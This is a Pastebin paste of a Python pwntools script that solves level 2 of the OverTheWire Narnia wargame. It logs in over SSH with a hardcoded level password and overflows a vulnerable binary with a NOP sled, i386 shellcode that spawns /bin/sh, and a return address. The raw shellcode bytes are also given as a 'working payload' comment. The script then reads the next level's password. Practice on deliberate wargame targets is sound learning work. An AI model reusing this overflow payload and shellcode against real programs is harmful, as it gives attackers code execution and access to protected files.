Advertisement
Guest User

Untitled

a guest
Nov 3rd, 2017
151
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.78 KB | None | 0 0
  1. #!/usr/bin/env python
  2. from pwn import *
  3. from pygments import highlight
  4. from pygments.lexers import CLexer
  5. from pygments.formatters import TerminalFormatter
  6.  
  7. level = 2
  8. user = 'narnia%s' % level
  9. host = 'narnia.labs.overthewire.org'
  10. password = 'nairiepecu'
  11. port = 2226
  12.  
  13. # Working payload
  14. #$(python -c "print '\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x89\xc2\x31\xc0\xb0\xa4\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80' + '\x88\xd8\xff\xff'")
  15.  
  16. def connectToLevel():
  17. return ssh(user=user, host=host, port=port, password=password)
  18.  
  19. def getPass(shell):
  20. shell.sendline('cat /etc/narnia_pass/narnia%s' % (level+1))
  21. flag = shell.recvuntil('$').split()[0]
  22. log.info('Flag = %s' % flag)
  23. shell.close()
  24. return flag
  25.  
  26. def getCode(shell):
  27. code = shell.download_data('/narnia/' + user + '.c')
  28. shell.download_file('/narnia/' + user + '.c')
  29. log.info('Displaying code momentarily...')
  30. print highlight(code, CLexer(), TerminalFormatter(bg='dark'))
  31.  
  32. def makeShellCode():
  33. addr = 0xffffd888
  34. shellcode = asm('nop') * 96
  35. shellcode += asm(shellcraft.i386.sh())
  36. shellcode += p32(addr)
  37. return shellcode
  38.  
  39. context(arch='i386', os='linux', log_level='debug')
  40. shellcode = makeShellCode()
  41. sh = connectToLevel()
  42.  
  43. exe = sh.process(["/narnia/%s" % user, shellcode])
  44. exe.recvuntil('$')
  45. flag = getPass(exe)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement